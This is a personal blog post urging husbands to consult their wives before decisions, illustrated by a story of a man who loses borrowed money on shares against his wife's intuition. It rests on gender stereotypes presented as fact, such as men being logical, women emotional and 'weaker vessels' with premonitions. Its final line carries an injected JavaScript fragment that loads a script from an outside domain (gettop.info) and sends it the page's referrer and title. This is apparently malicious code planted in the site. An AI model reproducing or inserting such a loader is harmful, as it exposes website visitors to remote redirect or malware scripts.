Hello guys, today is your day 🙂 Guys have asked me several times if my blog was for females alone. No, it’s not! Today, i’ll like to write about a subject which acts as one of the major differences between males and females, and which most of the time is a major source of conflicts.
I’m sure we’ve heard time and time again that males are logical while ladies are emotional, and it shows a lot by the perspective from which we view and address issues. Having being married for a couple of years, i know that one of the best ways to have a great marriage is to have a marriage of perspectives, i.e. be emotionally-logical. This is a topic for another day.
But there’s a part to it that i think guys should take note of and work on. Guys believe that ladies are so annoyingly emotional, and they handle issues too much based on feelings, for example, ladies say things like, it doesn’t feel right, while the guys think, “what does that mean? It doesn’t make sense…
A number of people made investments early last year and it made a lot of sense, but taking a look at the current crash in the prices of shares, oil, and most recently, real estate, an example of this can be cited; let’s take a look at this scenario, a man decides to take a bank facility to buy large quantity of shares, and the wife says, she doesn’t feel he should go ahead with it. He asks why, and she can’t verbalize those feelings. He shoves her opinion aside saying she’s just risk averse and now, the banks are after him to repay back the loss incured based on the crash of stocks after he has lost his own part of the money, right now, he’s under intense pressure. This is just one out of many possible examples, but it’s just to say that losses that can be incurred as a result of not listening to your wife sometimes can be much more than financial.
The morale of the above scenario is the need for guys to step down and listen to the “weaker vessels”, they (females) sense things that might not be easy to explain but they’re real. They have premonitions, and very intuitive. Therefore, i’ll say you need to listen closely to the things she’s not saying and help her through the process of being able to explain it to you.
For the married men, i’ll say one of the best things you can do is to get your wife’s input when you want to make decisions; it’s very important and doesn’t make you less of a man. God knew the power of a wife complementing the husband, and that’s why from the start, the wife’s supposed to be the help meet. So, men, carry your wives along, there’s nothing you’re doing that she shouldn’t be aware of.
Listen to her o, even if you don’t do what she says, it will guide you and serve as a check as you go along. Believe me, she’ll see you more of “her man” if you listen.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;